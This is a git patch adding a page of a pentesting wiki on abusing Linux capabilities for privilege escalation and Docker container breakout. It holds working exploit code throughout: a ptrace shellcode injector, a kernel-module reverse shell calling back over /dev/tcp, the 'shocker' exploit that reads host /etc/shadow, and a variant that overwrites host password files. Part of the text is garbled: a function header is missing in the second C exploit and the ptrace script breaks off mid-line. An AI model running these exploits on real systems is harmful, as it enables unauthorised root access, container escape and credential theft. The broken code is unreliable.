From 0845a2d999252ccbc006622381002677024ecfbb Mon Sep 17 00:00:00 2001 From: CPol Date: Wed, 6 Jan 2021 22:59:28 +0000 Subject: [PATCH] GitBook: [master] one page and one asset modified --- .gitbook/assets/image (172).png | Bin 0 -> 2999 bytes .../linux-capabilities.md | 720 ++++++++++++++++++ 2 files changed, 720 insertions(+) create mode 100644 .gitbook/assets/image (172).png diff --git a/.gitbook/assets/image (172).png b/.gitbook/assets/image (172).png new file mode 100644 index 0000000000000000000000000000000000000000..d9cc3ba46588e27d85962d2959ff7fda4c162a3b GIT binary patch literal 2999 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 literal 0 HcmV?d00001 diff --git a/linux-unix/privilege-escalation/linux-capabilities.md b/linux-unix/privilege-escalation/linux-capabilities.md index d759c2136..3817d4dc4 100644 --- a/linux-unix/privilege-escalation/linux-capabilities.md +++ b/linux-unix/privilege-escalation/linux-capabilities.md @@ -372,6 +372,726 @@ Note that one can assign empty capability sets to a program file, and thus it is then that binary will run as root. +### CAP\_SYS\_ADMIN + +**This means that you can** **mount/umount filesystems.** + +#### Example with binary + +```bash +getcap -r / 2>/dev/null +/usr/bin/python2.7 = cap_sys_admin+ep +``` + +Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: + +```bash +cp /etc/passwd ./ #Create a copy of the passwd file +openssl passwd -1 -salt abc password #Get hash of "password" +vim ./passwd #Change roots passwords of the fake passwd file +``` + +And finally **mount** the modified `passwd` file on `/etc/passwd`: + +```python +from ctypes import * +libc = CDLL("libc.so.6") +libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) +MS_BIND = 4096 +source = b"/path/to/fake/passwd" +target = b"/etc/passwd" +filesystemtype = b"none" +options = b"rw" +mountflags = MS_BIND +libc.mount(source, target, filesystemtype, mountflags, options) +``` + +And you will be able to **`su` as root** using password "password". + +#### Example with environment \(Docker breakout\) + +You can check the enabled capabilities inside the docker container using: + +```text +capsh --print +Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep +Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read +Securebits: 00/0x0/1'b0 + secure-noroot: no (unlocked) + secure-no-suid-fixup: no (unlocked) + secure-keep-caps: no (unlocked) +uid=0(root) +gid=0(root) +groups=0(root) +``` + +Inside the previous output you can see that the SYS\_ADMIN capability is enabled. + +* **Mount** + +This allows the docker container to **mount the host disk and access it freely**: + +```bash +fdisk -l #Get disk name +Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes + +mount /dev/sda /mnt/ #Mount it +cd /mnt +chroot ./ bash #You have a shell inside the docker hosts disk +``` + +* **Full access** + +In the previous method we managed to access the docker host disk. +In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: + +```bash +#Like in the example before, the first step is to moun the dosker host disk +fdisk -l +mount /dev/sda /mnt/ + +#Then, search for open ports inside the docker host +nc -v -n -w2 -z 172.17.0.1 1-65535 +(UNKNOWN) [172.17.0.1] 2222 (?) open + +#Finally, create a new user inside the docker host and use it to access via SSH +chroot /mnt/ adduser john +ssh john@172.17.0.1 -p 2222 +``` + +### CAP\_SYS\_PTRACE + +**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** + +#### Example with binary + +```bash +getcap -r / 2>/dev/null +/usr/bin/python2.7 = cap_sys_ptrace+ep +``` + +```python +import ctypes +import sys +import struct +# Macros defined in +# https://code.woboq.org/qt5/include/sys/ptrace.h.html +PTRACE_POKETEXT = 4 +PTRACE_GETREGS = 12 +PTRACE_SETREGS = 13 +PTRACE_ATTACH = 16 +PTRACE_DETACH = 17 +# Structure defined in +# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct +class user_regs_struct(ctypes.Structure): + _fields_ = [ + ("r15", ctypes.c_ulonglong), + ("r14", ctypes.c_ulonglong), + ("r13", ctypes.c_ulonglong), + ("r12", ctypes.c_ulonglong), + ("rbp", ctypes.c_ulonglong), + ("rbx", ctypes.c_ulonglong), + ("r11", ctypes.c_ulonglong), + ("r10", ctypes.c_ulonglong), + ("r9", ctypes.c_ulonglong), + ("r8", ctypes.c_ulonglong), + ("rax", ctypes.c_ulonglong), + ("rcx", ctypes.c_ulonglong), + ("rdx", ctypes.c_ulonglong), + ("rsi", ctypes.c_ulonglong), + ("rdi", ctypes.c_ulonglong), + ("orig_rax", ctypes.c_ulonglong), + ("rip", ctypes.c_ulonglong), + ("cs", ctypes.c_ulonglong), + ("eflags", ctypes.c_ulonglong), + ("rsp", ctypes.c_ulonglong), + ("ss", ctypes.c_ulonglong), + ("fs_base", ctypes.c_ulonglong), + ("gs_base", ctypes.c_ulonglong), + ("ds", ctypes.c_ulonglong), + ("es", ctypes.c_ulonglong), + ("fs", ctypes.c_ulonglong), + ("gs", ctypes.c_ulonglong), + ] + +libc = ctypes.CDLL("libc.so.6") + +pid=int(sys.argv[1]) + +# Define argument type and respone type. +libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] +libc.ptrace.restype = ctypes.c_uint64 + +# Attach to the process +libc.ptrace(PTRACE_ATTACH, pid, None, None) +registers=user_regs_struct() + +# Retrieve the value stored in registers +libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) +print("Instruction Pointer: " + hex(registers.rip)) +print("Injecting Shellcode at: " + hex(registers.rip)) + +# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c +shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" + +# Inject the shellcode into the running process byte by byte. +for i in xrange(0,len(shellcode),4): + # Convert the byte to little endian. + shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) + shellcode_byte_little_endian=struct.pack("/dev/null +/usr/bin/python2.7 = cap_sys_module+ep +``` + +By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**. +In order to abuse this, lets create a fake **lib/modules** folder: + +```bash +mkdir lib/modules -p +cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) +``` + +Then **compile the kernel module you can find 2 examples below and copy** it to this folder: + +```bash +cp reverse-shell.ko lib/modules/$(uname -r)/ +``` + +Finally, execute the needed python code to load this kernel module: + +```python +import kmod +km = kmod.Kmod() +km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") +km.modprobe("reverse-shell") +``` + +#### Example 2 with binary + +In the following example the binary **`kmod`** has this capability. + +```bash +getcap -r / 2>/dev/null +/bin/kmod = cap_sys_module+ep +``` + +Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. + +#### Example with environment \(Docker breakout\) + +You can check the enabled capabilities inside the docker container using: + +```text +capsh --print +Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep +Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap +Securebits: 00/0x0/1'b0 + secure-noroot: no (unlocked) + secure-no-suid-fixup: no (unlocked) + secure-keep-caps: no (unlocked) +uid=0(root) +gid=0(root) +groups=0(root) +``` + +Inside the previous output you can see that the **SYS\_MODULE** capability is enabled. + +**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: + +{% code title="reverse-shell.c" %} +```c +#include +#include +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("AttackDefense"); +MODULE_DESCRIPTION("LKM reverse shell module"); +MODULE_VERSION("1.0"); + +char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL}; +static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; + +// call_usermodehelper function is used to create user mode processes from kernel space +static int __init reverse_shell_init(void) { + return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +} + +static void __exit reverse_shell_exit(void) { + printk(KERN_INFO "Exiting\n"); +} + +module_init(reverse_shell_init); +module_exit(reverse_shell_exit); +``` +{% endcode %} + +{% code title="Makefile" %} +```bash +obj-m +=reverse-shell.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` +{% endcode %} + +{% hint style="warning" %} +The blank char before each make word in the Makefile **must be a tab, not spaces**! +{% endhint %} + +Execute `make` to compile it. + +Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: + +```bash +#Shell 1 +nc -lvnp 4444 + +#Shell 2 +insmod reverse-shell.ko #Launch the reverse shell +``` + +**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/) + +### CAP\_DAC\_READ\_SEARCH + +**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** + +#### Example with binary + +The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: + +```bash +cd /etc +tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp +cd /tmp +tar -cxf shadow.tar.gz +``` + +#### Example with ****Environment \(Docker breakout\) + +You can check the enabled capabilities inside the docker container using: + +```text +capsh --print +Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep +Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap +Securebits: 00/0x0/1'b0 + secure-noroot: no (unlocked) + secure-no-suid-fixup: no (unlocked) + secure-keep-caps: no (unlocked) +uid=0(root) +gid=0(root) +groups=0(root) +``` + +Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**. + +You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at\(2\)**_ and **could allow our process to sensitive files opened by other processes**. + +The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** + +```c +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// gcc shocker.c -o shocker +// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir + +struct my_file_handle { + unsigned int handle_bytes; + int handle_type; + unsigned char f_handle[8]; +}; + +void die(const char * msg) { + perror(msg); + exit(errno); +} + +void dump_handle(const struct my_file_handle * h) { + fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, + h -> handle_type); + for (int i = 0; i < h -> handle_bytes; ++i) { + fprintf(stderr, "0x%02x", h -> f_handle[i]); + if ((i + 1) % 20 == 0) + fprintf(stderr, "\n"); + if (i < h -> handle_bytes - 1) + fprintf(stderr, ", "); + } + fprintf(stderr, "};\n"); +} + +int find_handle(int bfd, + const char * path, + const struct my_file_handle * ih, struct my_file_handle * + oh) { + int fd; + uint32_t ino = 0; + struct my_file_handle outh = { + .handle_bytes = 8, + .handle_type = 1 + }; + DIR * dir = NULL; + struct dirent * de = NULL; + path = strchr(path, '/'); + // recursion stops if path has been resolved + if (!path) { + memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); + oh -> handle_type = 1; + oh -> handle_bytes = 8; + return 1; + } + ++path; + fprintf(stderr, "[*] Resolving '%s'\n", path); + if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) + die("[-] open_by_handle_at"); + if ((dir = fdopendir(fd)) == NULL) + die("[-] fdopendir"); + for (;;) { + de = readdir(dir); + if (!de) + break; + fprintf(stderr, "[*] Found %s\n", de -> d_name); + if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { + fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); + ino = de -> d_ino; + break; + } + } + + fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); + if (de) { + for (uint32_t i = 0; i < 0xffffffff; ++i) { + outh.handle_bytes = 8; + outh.handle_type = 1; + memcpy(outh.f_handle, & ino, sizeof(ino)); + memcpy(outh.f_handle + 4, & i, sizeof(i)); + if ((i % (1 << 20)) == 0) + fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); + if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { + closedir(dir); + close(fd); + dump_handle( & outh); + return find_handle(bfd, path, & outh, oh); + } + } + } + closedir(dir); + close(fd); + return 0; +} + +int main(int argc, char * argv[]) { + char buf[0x1000]; + int fd1, fd2; + struct my_file_handle h; + struct my_file_handle root_h = { + .handle_bytes = 8, + .handle_type = 1, + .f_handle = { + 0x02, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + } + }; + fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" + "[***] The tea from the 90's kicks your sekurity again. [***]\n" + "[***] If you have pending sec consulting, I'll happily [***]\n" + "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); + read(0, buf, 1); + // get a FS reference from something mounted in from outside + if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) + die("[-] open"); + if (find_handle(fd1, argv[1], & root_h, & h) <= 0) + die("[-] Cannot find valid handle!"); + fprintf(stderr, "[!] Got a final handle!\n"); + dump_handle( & h); + if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) + die("[-] open_by_handle"); + char * line = NULL; + size_t len = 0; + FILE * fptr; + ssize_t read; + fptr = fopen(argv[2], "r"); + while ((read = getline( & line, & len, fptr)) != -1) { + write(fd2, line, read); + } + printf("Success!!\n"); + close(fd2); + close(fd1); + return 0; +} +``` + +{% hint style="danger" %} +I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file. To find a file that is mounted in the host just execute `mount` command: +{% endhint %} + +![](../../.gitbook/assets/image%20%28407%29.png) + +**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/) + +### CAP\_DAC\_OVERRIDE + + **This mean that you can bypass write permission checks on any file, so you can write any file.** + +#### Example with binary + +In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: + +```bash +getcap -r / 2>/dev/null +/usr/bin/vim = cap_dac_override+ep + +vim /etc/sudoers #To overwrite it +``` + +#### Example with environment + CAP\_DAC\_READ\_SEARCH \(Docker breakout\) + +You can check the enabled capabilities inside the docker container using: + +```text +capsh --print +Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep +Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap +Securebits: 00/0x0/1'b0 + secure-noroot: no (unlocked) + secure-no-suid-fixup: no (unlocked) + secure-keep-caps: no (unlocked) +uid=0(root) +gid=0(root) +groups=0(root) +``` + +First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit. +Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem: + +```c +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// gcc shocker_write.c -o shocker_write +// ./shocker_write /etc/passwd passwd + +struct my_file_handle { + unsigned int handle_bytes; + int handle_type; + unsigned char f_handle[8]; +}; +void die(const char * msg) { + perror(msg); + exit(errno); +} +void dump_handle(const struct my_file_handle * h) { + fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, + h -> handle_type); + for (int i = 0; i < h -> handle_bytes; ++i) { + fprintf(stderr, "0x%02x", h -> f_handle[i]); + if ((i + 1) % 20 == 0) + fprintf(stderr, "\n"); + if (i < h -> handle_bytes - 1) + fprintf(stderr, ", "); + } + fprintf(stderr, "};\n"); +} { + int fd; + uint32_t ino = 0; + struct my_file_handle outh = { + .handle_bytes = 8, + .handle_type = 1 + }; + DIR * dir = NULL; + struct dirent * de = NULL; + path = strchr(path, '/'); + // recursion stops if path has been resolved + if (!path) { + memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); + oh -> handle_type = 1; + oh -> handle_bytes = 8; + return 1; + } + ++path; + fprintf(stderr, "[*] Resolving '%s'\n", path); + if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) + die("[-] open_by_handle_at"); + if ((dir = fdopendir(fd)) == NULL) + die("[-] fdopendir"); + for (;;) { + de = readdir(dir); + if (!de) + break; + fprintf(stderr, "[*] Found %s\n", de -> d_name); + if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { + fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); + ino = de -> d_ino; + break; + } + } + fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); + if (de) { + for (uint32_t i = 0; i < 0xffffffff; ++i) { + outh.handle_bytes = 8; + outh.handle_type = 1; + memcpy(outh.f_handle, & ino, sizeof(ino)); + memcpy(outh.f_handle + 4, & i, sizeof(i)); + if ((i % (1 << 20)) == 0) + fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); + if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { + closedir(dir); + close(fd); + dump_handle( & outh); + return find_handle(bfd, path, & outh, oh); + } + } + } + closedir(dir); + close(fd); + return 0; +} +int main(int argc, char * argv[]) { + char buf[0x1000]; + int fd1, fd2; + struct my_file_handle h; + struct my_file_handle root_h = { + .handle_bytes = 8, + .handle_type = 1, + .f_handle = { + 0x02, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + } + }; + fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" + "[***] The tea from the 90's kicks your sekurity again. [***]\n" + "[***] If you have pending sec consulting, I'll happily [***]\n" + "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); + read(0, buf, 1); + // get a FS reference from something mounted in from outside + if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) + die("[-] open"); + if (find_handle(fd1, argv[1], & root_h, & h) <= 0) + die("[-] Cannot find valid handle!"); + fprintf(stderr, "[!] Got a final handle!\n"); + dump_handle( & h); + if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) + die("[-] open_by_handle"); + char * line = NULL; + size_t len = 0; + FILE * fptr; + ssize_t read; + fptr = fopen(argv[2], "r"); + while ((read = getline( & line, & len, fptr)) != -1) { + write(fd2, line, read); + } + printf("Success!!\n"); + close(fd2); + close(fd1); + return 0; +} +``` + +In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. + +**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/) + +### CAP\_NET\_RAW + +**This means that it's possible to capture traffic on network interfaces.** + +#### Example with binary + +If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. + +```bash +getcap -r / 2>/dev/null +/usr/sbin/tcpdump = cap_net_raw+ep +``` + +Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. + ## References * [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)